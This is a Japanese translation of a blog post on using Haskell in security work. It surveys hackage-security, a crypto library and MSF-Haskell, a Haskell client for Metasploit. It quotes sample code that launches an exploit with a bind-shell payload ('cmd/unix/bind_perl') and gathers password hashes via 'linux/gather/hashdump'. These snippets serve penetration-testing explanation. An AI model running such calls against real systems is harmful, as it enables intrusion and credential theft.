セキュリティの分野で Haskell を使用する [翻訳記事]
Tags: security, haskell, functional
Published: 2018-11-25 15:20:50

---
title: セキュリティの分野で Haskell を使用する [翻訳記事]
published: true
description: Haskell をセキュリティ分野で使うことには、明確な理由があります。まず第一に、関数型プログラミングは新しいトレンドです。きっともっともっとたくさんのアプリがこれを使ってつくられるようになるでしょう。純粋関数型言語をセキュリティ目的で選択することは、そこまで狂気じみたことではありません。その一方で、Haskell の数学的アプローチは、暗号技術を使う上で非常に有用なものなのです。
tags: security, haskell, functional
---

本記事は、以下の記事の翻訳です:
[Security with Haskell](https://dev.to/terceranexus6/security-with-haskell-3cio) by [Paula](https://dev.to/terceranexus6)
<small>* 執筆者に許諾を頂いた上で掲載しています。</small>

---

「*クレイジーだぜ*」という言葉から「*いったい全体どうして？*」という言葉まで、私が、日常でもセキュリティにまつわるものにでも、Haskell を仕事の一部で使うようにし始めた時、コンピューター科学の世界に身を置く友人たちは、さまざまなことを言ったものです。
順番に答えて行きましょう。
ええ、私はクレイジーです。でもそれは Haskell が原因ではありません。
さらに私には Haskell をセキュリティ分野で使うことにした理由があるのです。
まず第一に、関数型プログラミングは *新しいトレンド* です。きっともっともっとたくさんのアプリがこれを使ってつくられるようになるでしょう。純粋関数型言語をセキュリティ目的で選択することは、そこまで狂気じみたことではありません。
その一方で、Haskell の数学的アプローチは、暗号技術を使う上で非常に有用なものなのです。

[![](https://res.cloudinary.com/practicaldev/image/fetch/s--JU9VWTow--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://78.media.tumblr.com/tumblr_lpkxtmFtmp1qc8ie7o1_500.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--JU9VWTow--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://78.media.tumblr.com/tumblr_lpkxtmFtmp1qc8ie7o1_500.gif)

それでは、どのようにしてセキュリティ検査のために Haskell を使えば良いでしょうか？

ここでは具体的なライブラリを挙げてみたいと思います。
[hackage-security](https://hackage.haskell.org/package/hackage-security) と呼ばれるものです。現在はインデックス署名のみをサポートしています。
Wiki に書かれていますが、*このライブラリには二つの主要なエントリポイントがあります: [Hackage.Security.Client](https://hackage.haskell.org/package/hackage-security-0.5.3.0/docs/Hackage-Security-Client.html) はクライアントのための主要エントリポイントです。[Hackage.Security.Server](https://hackage.haskell.org/package/hackage-security-0.5.3.0/docs/Hackage-Security-Server.html) はサーバーのための主要エントリポイントです。*
一見の価値のあるライブラリです。

他に目を向けてみると、Github のリポジトリに [MSF-Haskell](https://github.com/GaloisInc/msf-haskell) というものもあります。Haskell でペネトレーションテストの実施を可能にしてくれます。
サンプルとして Haskell で書かれたスクリプトも含まれています。さらに完全なホワイトペーパーもあります。
実際のところは Metasploit API の実装です。開発者が Haskell クライアントを書いて Metasploit サーバーとやり取りすることを可能にしてくれます。
例えば、サンプルのスクリプトでは、ターゲットのホストに対して脆弱性を利用した攻撃を行っています。

```
launchExploit :: (LoudCxt s) => Host Attackable -> MSF s ()
launchExploit targetHost = do
  _ <- module_execute metasploitableModuleType metasploitableModuleName
      $ toObject
      $ Map.fromList
          [ ("RHOST",   toObject targetHost)
          , ("PAYLOAD", toObject metasploitablePayload)
          ]
  return ()

```

私たちは事前にペイロードそのものを定義しました:

```
metasploitablePayload = Payload "cmd/unix/bind_perl"

```

あるいはこちらの記述でパスワードハッシュを獲得しました:

```
gatherCredentials :: (LoudCxt s) => SessionId -> MSF s ()
gatherCredentials sessionId = do
  let modTyp = PostModuleType
      modNm = ModuleName "linux/gather/hashdump"

  r <- module_execute modTyp modNm
      $ toObject
      $ Map.fromList
          [ ("SESSION",   toObject sessionId)
          ]
  case r of
    (ExecJobId j) -> waitJob j
    _             -> return ()

```

まとめると、Haskell はセキュリティ分野で *関数型の* スクリプトを書くための選択肢になる *可能性を持っています*。
[*Maybe（たぶん）型の*](https://wiki.haskell.org/Maybe)良い選択肢です。つまり選択肢として実体化されるか Nothing かです。
ハハ、関数型のジョークです。ドドンシャーン（なんちゃって）。

[![](https://res.cloudinary.com/practicaldev/image/fetch/s--HSyOSaL3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/http://cuddlebuggery.com/wp-content/uploads/2012/08/Ba-dum-tish.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--HSyOSaL3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/http://cuddlebuggery.com/wp-content/uploads/2012/08/Ba-dum-tish.png)

何はともあれ、これらは真新しいタイプの攻撃手法です！スクラッチで開発されたものさえありますし、これまでに記述したような API の実装を使わないものもあります。
暗号関連についてお話しますと、こちらの[リポジトリ](https://github.com/mfourne/eccrypto.git)がおもしろいです。楕円曲線暗号を扱っています。
さてさて、私はあなた方すべてに、公式の Haskell の Web サイトで、セキュリティの[リポジトリ](https://hackage.haskell.org/packages/search?terms=security)もそうですが、 [暗号技術のリポジトリ](https://hackage.haskell.org/packages/search?terms=cryptography) を一度ご覧になることをおすすめします。
私はいまも調査中です。そこで、もしどなたでも、この同じ分野で活動されているのでしたら、さらなる情報をお待ちしています！

---

お読み頂きどうもありがとうございました。

本記事は、以下の記事の翻訳です:
[Security with Haskell](https://dev.to/terceranexus6/security-with-haskell-3cio) by [Paula](https://dev.to/terceranexus6)

To Paula: Thank you so much for your kind permission and consideration for me to translate your article.